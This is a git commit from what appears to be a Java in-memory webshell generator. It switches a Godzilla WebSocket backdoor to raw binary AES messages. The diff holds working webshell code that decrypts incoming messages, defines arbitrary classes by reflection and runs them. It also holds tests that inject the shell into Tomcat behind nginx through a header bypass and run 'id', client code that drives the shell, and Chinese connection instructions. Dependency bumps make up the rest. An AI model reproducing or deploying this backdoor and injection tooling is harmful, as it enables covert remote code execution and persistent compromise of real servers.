refactor: change godzilla websocket base64 to raw

This commit is contained in:
ReaJason
2026-01-18 23:49:41 +08:00
parent 0296705a87
commit 548990b7cc
14 changed files with 128 additions and 61 deletions
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.nio.ByteBuffer;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/5/9 * @since 2025/5/9
*/ */
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> { public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
public static String key; public static String key;
private Session session; private Session session;
private static Class<?> payload; private static Class<?> payload;
@Override @Override
public void onMessage(String message) { public void onMessage(ByteBuffer byteBuffer) {
byte[] result = null; byte[] result = null;
try { try {
byte[] data = base64Decode(message); byte[] data = byteBuffer.array();
data = x(data, false); data = x(data, false);
if (payload == null || (data[0] == -54 && data[1] == -2)) { if (payload == null || (data[0] == -54 && data[1] == -2)) {
payload = reflectionDefineClass(data); payload = reflectionDefineClass(data);
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
result = getErrorMessage(e).getBytes(); result = getErrorMessage(e).getBytes();
} }
try { try {
session.getBasicRemote().sendText(base64Encode(x(result, true))); session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
session.addMessageHandler(this); session.addMessageHandler(this);
} }
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception { public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
@@ -1,12 +1,14 @@
package com.reajason.javaweb.integration.memshell.tomcat; package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ServerType; import com.reajason.javaweb.memshell.ServerType;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -20,6 +22,7 @@ import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File; import java.io.File;
import java.io.IOException;
import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -63,6 +66,43 @@ public class Tomcat10WebSocketBypassNginxTest {
assertTrue(response.contains("uid=")); assertTrue(response.contains("uid="));
} }
@Test
public void testGodzillaWs() {
String url = getUrl();
String server = ServerType.TOMCAT;
String serverVersion = "Unknown";
int targetJdkVersion = Opcodes.V1_8;
String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET;
String shellTool = ShellTool.Godzilla;
Packers packer = Packers.Base64;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig();
// direct connect ws will cause failed
assertThrows(IllegalStateException.class, () -> {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
.key(godzillaConfig.getKey()).build()) {
godzillaManager.start();
}
}, "WebSocket connection is not open.");
// connect by valve bypass will success
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
.key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName()
, godzillaConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
public static String getUrl() { public static String getUrl() {
String host = compose.getServiceHost("nginx", 80); String host = compose.getServiceHost("nginx", 80);
int port = compose.getServicePort("nginx", 80); int port = compose.getServicePort("nginx", 80);
@@ -1,12 +1,14 @@
package com.reajason.javaweb.integration.memshell.tomcat; package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ServerType; import com.reajason.javaweb.memshell.ServerType;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -20,6 +22,7 @@ import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File; import java.io.File;
import java.io.IOException;
import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -70,4 +73,40 @@ public class Tomcat8WebSocketBypassNginxTest {
String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue()); String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue());
assertTrue(response.contains("uid=")); assertTrue(response.contains("uid="));
} }
@Test
public void testGodzillaWs() {
String url = getUrl();
String server = ServerType.TOMCAT;
String serverVersion = "Unknown";
int targetJdkVersion = Opcodes.V1_8;
String shellType = ShellType.BYPASS_NGINX_WEBSOCKET;
String shellTool = ShellTool.Godzilla;
Packers packer = Packers.Base64;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
GodzillaConfig godzillaConfig = (GodzillaConfig) generateResult.getShellToolConfig();
// direct connect ws will cause failed
assertThrows(IllegalStateException.class, () -> {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
.key(godzillaConfig.getKey()).build()) {
godzillaManager.start();
}
}, "WebSocket connection is not open.");
// connect by valve bypass will success
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(shellUrl).pass(godzillaConfig.getPass())
.key(godzillaConfig.getKey()).header(godzillaConfig.getHeaderName()
, godzillaConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
} }
@@ -6,6 +6,7 @@ import org.java_websocket.handshake.ServerHandshake;
import java.net.URI; import java.net.URI;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
import java.util.Map;
import java.util.concurrent.CountDownLatch; import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference; import java.util.concurrent.atomic.AtomicReference;
@@ -22,6 +23,10 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
super(serverUri); super(serverUri);
} }
public BlockingJavaWebSocketClient(URI serverUri, Map<String, String> httpHeaders) {
super(serverUri, httpHeaders);
}
@Override @Override
public void onOpen(ServerHandshake handshake) { public void onOpen(ServerHandshake handshake) {
System.out.println("连接成功"); System.out.println("连接成功");
@@ -133,6 +138,12 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
return blockingJavaWebSocketClient.sendRequest(message); return blockingJavaWebSocketClient.sendRequest(message);
} }
@SneakyThrows
public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message, Map<String, String> httpHeaders) {
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint), httpHeaders);
return blockingJavaWebSocketClient.sendRequest(message);
}
public static void main(String[] args) { public static void main(String[] args) {
String uri = "ws://localhost:8082/app/fuck"; String uri = "ws://localhost:8082/app/fuck";
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id")); System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
@@ -17,6 +17,7 @@ import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.*; import java.io.*;
import java.net.URLDecoder; import java.net.URLDecoder;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@@ -177,6 +178,7 @@ public class GodzillaManager implements Closeable {
return client.newCall(builder.build()).execute(); return client.newCall(builder.build()).execute();
} }
@SneakyThrows
public boolean start() { public boolean start() {
byte[] bytes = generateGodzilla(); byte[] bytes = generateGodzilla();
if (isHttp()) { if (isHttp()) {
@@ -189,19 +191,12 @@ public class GodzillaManager implements Closeable {
return true; return true;
} }
System.out.println(response.body().string().trim()); System.out.println(response.body().string().trim());
} catch (IOException e) {
e.printStackTrace();
} }
} }
if (isWs()) { if (isWs()) {
try {
byte[] aes = aes(this.key, bytes, true); byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes); BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers);
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
return true; return true;
} catch (Exception e) {
e.printStackTrace();
}
} }
return false; return false;
} }
@@ -213,12 +208,10 @@ public class GodzillaManager implements Closeable {
try (Response response = post(bytes)) { try (Response response = post(bytes)) {
if (response.isSuccessful()) { if (response.isSuccessful()) {
ResponseBody body = response.body(); ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes); System.out.println(resultFromRes);
return "ok".equals(resultFromRes); return "ok".equals(resultFromRes);
} }
}
return false; return false;
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(); e.printStackTrace();
@@ -228,10 +221,9 @@ public class GodzillaManager implements Closeable {
if (isWs()) { if (isWs()) {
byte[] aes = aes(this.key, bytes, true); byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes); byte[] response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers);
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); if (response != null) {
if(StringUtils.isNoneBlank(response)){ byte[] x = aes(key, response, false);
byte[] x = aes(key, Base64.decodeBase64(response), false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
} }
@@ -111,7 +111,11 @@ export function BasicInfo({
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.godzilla.encryptor")} label={t("shellToolConfig.godzilla.encryptor")}
text="JAVA_AES_BASE64" text={
generateResult?.shellConfig.shellType.includes("WebSocket")
? "JAVA_WEBSOCKET_AES_RAW"
: "JAVA_AES_BASE64"
}
/> />
<CopyableField <CopyableField
label={t("shellToolConfig.godzilla.header")} label={t("shellToolConfig.godzilla.header")}
+9 -9
View File
@@ -5,13 +5,13 @@
"": { "": {
"name": "fumadocs", "name": "fumadocs",
"dependencies": { "dependencies": {
"@base-ui/react": "^1.0.0", "@base-ui/react": "^1.1.0",
"@hookform/resolvers": "^5.2.2", "@hookform/resolvers": "^5.2.2",
"@orama/orama": "^3.1.18", "@orama/orama": "^3.1.18",
"@orama/stopwords": "^3.1.18", "@orama/stopwords": "^3.1.18",
"@orama/tokenizers": "^3.1.18", "@orama/tokenizers": "^3.1.18",
"@react-router/node": "^7.12.0", "@react-router/node": "^7.12.0",
"@tanstack/react-query": "^5.90.17", "@tanstack/react-query": "^5.90.18",
"class-variance-authority": "^0.7.1", "class-variance-authority": "^0.7.1",
"clsx": "^2.1.1", "clsx": "^2.1.1",
"framer-motion": "^12.26.2", "framer-motion": "^12.26.2",
@@ -39,7 +39,7 @@
"@react-router/dev": "^7.12.0", "@react-router/dev": "^7.12.0",
"@tailwindcss/vite": "^4.1.18", "@tailwindcss/vite": "^4.1.18",
"@types/mdx": "^2.0.13", "@types/mdx": "^2.0.13",
"@types/node": "^25.0.8", "@types/node": "^25.0.9",
"@types/react": "^19.2.8", "@types/react": "^19.2.8",
"@types/react-copy-to-clipboard": "^5.0.7", "@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3", "@types/react-dom": "^19.2.3",
@@ -114,9 +114,9 @@
"@babel/types": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], "@babel/types": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
"@base-ui/react": ["@base-ui/react@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@base-ui/utils": "0.2.3", "@floating-ui/react-dom": "^2.1.6", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "tabbable": "^6.3.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-4USBWz++DUSLTuIYpbYkSgy1F9ZmNG9S/lXvlUN6qMK0P0RlW+6eQmDUB4DgZ7HVvtXl4pvi4z5J2fv6Z3+9hg=="], "@base-ui/react": ["@base-ui/react@1.1.0", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@base-ui/utils": "0.2.4", "@floating-ui/react-dom": "^2.1.6", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "tabbable": "^6.4.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-ikcJRNj1mOiF2HZ5jQHrXoVoHcNHdBU5ejJljcBl+VTLoYXR6FidjTN86GjO6hyshi6TZFuNvv0dEOgaOFv6Lw=="],
"@base-ui/utils": ["@base-ui/[email protected].3", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-/CguQ2PDaOzeVOkllQR8nocJ0FFIDqsWIcURsVmm53QGo8NhFNpePjNlyPIB41luxfOqnG7PU0xicMEw3ls7XQ=="], "@base-ui/utils": ["@base-ui/[email protected].4", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-smZwpMhjO29v+jrZusBSc5T+IJ3vBb9cjIiBjtKcvWmRj9Z4DWGVR3efr1eHR56/bqY5a4qyY9ElkOY5ljo3ng=="],
"@biomejs/biome": ["@biomejs/[email protected]", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.11", "@biomejs/cli-darwin-x64": "2.3.11", "@biomejs/cli-linux-arm64": "2.3.11", "@biomejs/cli-linux-arm64-musl": "2.3.11", "@biomejs/cli-linux-x64": "2.3.11", "@biomejs/cli-linux-x64-musl": "2.3.11", "@biomejs/cli-win32-arm64": "2.3.11", "@biomejs/cli-win32-x64": "2.3.11" }, "bin": { "biome": "bin/biome" } }, "sha512-/zt+6qazBWguPG6+eWmiELqO+9jRsMZ/DBU3lfuU2ngtIQYzymocHhKiZRyrbra4aCOoyTg/BmY+6WH5mv9xmQ=="], "@biomejs/biome": ["@biomejs/[email protected]", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.11", "@biomejs/cli-darwin-x64": "2.3.11", "@biomejs/cli-linux-arm64": "2.3.11", "@biomejs/cli-linux-arm64-musl": "2.3.11", "@biomejs/cli-linux-x64": "2.3.11", "@biomejs/cli-linux-x64-musl": "2.3.11", "@biomejs/cli-win32-arm64": "2.3.11", "@biomejs/cli-win32-x64": "2.3.11" }, "bin": { "biome": "bin/biome" } }, "sha512-/zt+6qazBWguPG6+eWmiELqO+9jRsMZ/DBU3lfuU2ngtIQYzymocHhKiZRyrbra4aCOoyTg/BmY+6WH5mv9xmQ=="],
@@ -424,11 +424,11 @@
"@tanstack/devtools-vite": ["@tanstack/[email protected]", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], "@tanstack/devtools-vite": ["@tanstack/[email protected]", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="],
"@tanstack/query-core": ["@tanstack/[email protected]7", "", {}, "sha512-hDww+RyyYhjhUfoYQ4es6pbgxY7LNiPWxt4l1nJqhByjndxJ7HIjDxTBtfvMr5HwjYavMrd+ids5g4Rfev3lVQ=="], "@tanstack/query-core": ["@tanstack/[email protected]8", "", {}, "sha512-rbGx6bHgPNVzutP7BEr+53UPKohpckqlMAad+To9UxTbeaQ+kC/1SDRj+QzkwbQ7qhLT/1IKp34yS6thda6fzA=="],
"@tanstack/react-devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], "@tanstack/react-devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="],
"@tanstack/react-query": ["@tanstack/[email protected]7", "", { "dependencies": { "@tanstack/query-core": "5.90.17" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-PGc2u9KLwohDUSchjW9MZqeDQJfJDON7y4W7REdNBgiFKxQy+Pf7eGjiFWEj5xPqKzAeHYdAb62IWI1a9UJyGQ=="], "@tanstack/react-query": ["@tanstack/[email protected]8", "", { "dependencies": { "@tanstack/query-core": "5.90.18" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-KqNZX0C5IFz4639zR1ilnQ288tQdJrMNLtzmlzyJ14xauBkhtLEy3mPU/V4KiHsr41eL1ILZbDP36TB12lYfCQ=="],
"@types/d3-hierarchy": ["@types/[email protected]", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], "@types/d3-hierarchy": ["@types/[email protected]", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="],
@@ -446,7 +446,7 @@
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], "@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
"@types/node": ["@types/[email protected].8", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-powIePYMmC3ibL0UJ2i2s0WIbq6cg6UyVFQxSCpaPxxzAaziRfimGivjdF943sSGV6RADVbk0Nvlm5P/FB44Zg=="], "@types/node": ["@types/[email protected].9", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-/rpCXHlCWeqClNBwUhDcusJxXYDjZTyE8v5oTO7WbL8eij2nKhUeU89/6xgjU7N4/Vh3He0BtyhJdQbDyhiXAw=="],
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], "@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
@@ -1164,7 +1164,7 @@
"supports-preserve-symlinks-flag": ["[email protected]", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], "supports-preserve-symlinks-flag": ["[email protected]", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
"tabbable": ["tabbable@6.3.0", "", {}, "sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ=="], "tabbable": ["tabbable@6.4.0", "", {}, "sha512-05PUHKSNE8ou2dwIxTngl4EzcnsCDZGJ/iCLtDflR/SHB/ny14rXc+qU5P4mG9JkusiV7EivzY9Mhm55AzAvCg=="],
"tailwind-merge": ["[email protected]", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="], "tailwind-merge": ["[email protected]", "", {}, "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g=="],
Binary file not shown.

Before

Width:  |  Height:  |  Size: 98 KiB

After

Width:  |  Height:  |  Size: 272 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.3 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.2 KiB

After

Width:  |  Height:  |  Size: 81 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 116 KiB

+5 -3
View File
@@ -48,8 +48,6 @@ import { Step, Steps } from 'fumadocs-ui/components/steps';
## Godzilla WebSocket 马支持 ## Godzilla WebSocket 马支持
> 不支持特战版 WebSocket 载荷,仅支持以下方式
<Steps> <Steps>
<Step> <Step>
@@ -73,9 +71,13 @@ import { Step, Steps } from 'fumadocs-ui/components/steps';
### 使用客户端尝试连接 ### 使用客户端尝试连接
1. URL 需要注意使用 `ws://` 协议头,由于 ws 没有请求头那些东西,因此请求配置不需要额外配置请求头 1. URL 需要注意使用 `ws://` 协议头,由于 ws 没有请求头那些东西,因此请求配置不需要额外配置请求头
2. 有效载荷在装载完上续 GzWebSocket.jar 插件后,会出现 JavaWebSocket 选择 Java_WebSocket_Aes_Base64 加密器即可尝试连接。 2. 有效载荷在装载完上续 GzWebSocket.jar 插件后,会出现 JavaWebSocket 选择 Java_WebSocket_Aes_Raw 加密器即可尝试连接。
![godzilla_client_ws](../images/godzilla_client_ws.png) ![godzilla_client_ws](../images/godzilla_client_ws.png)
如果你是用是哥斯拉特战版,需要注意请求地址不要写 path 只写 ip:host,密码处填 path 即 `/app/g-ws`
![godzilla_client_ws_1](../images/godzilla_client_ws_1.png)
</Step> </Step>
</Steps> </Steps>
+3 -3
View File
@@ -12,13 +12,13 @@
"format": "biome format --write" "format": "biome format --write"
}, },
"dependencies": { "dependencies": {
"@base-ui/react": "^1.0.0", "@base-ui/react": "^1.1.0",
"@hookform/resolvers": "^5.2.2", "@hookform/resolvers": "^5.2.2",
"@orama/orama": "^3.1.18", "@orama/orama": "^3.1.18",
"@orama/stopwords": "^3.1.18", "@orama/stopwords": "^3.1.18",
"@orama/tokenizers": "^3.1.18", "@orama/tokenizers": "^3.1.18",
"@react-router/node": "^7.12.0", "@react-router/node": "^7.12.0",
"@tanstack/react-query": "^5.90.17", "@tanstack/react-query": "^5.90.18",
"class-variance-authority": "^0.7.1", "class-variance-authority": "^0.7.1",
"clsx": "^2.1.1", "clsx": "^2.1.1",
"framer-motion": "^12.26.2", "framer-motion": "^12.26.2",
@@ -46,7 +46,7 @@
"@react-router/dev": "^7.12.0", "@react-router/dev": "^7.12.0",
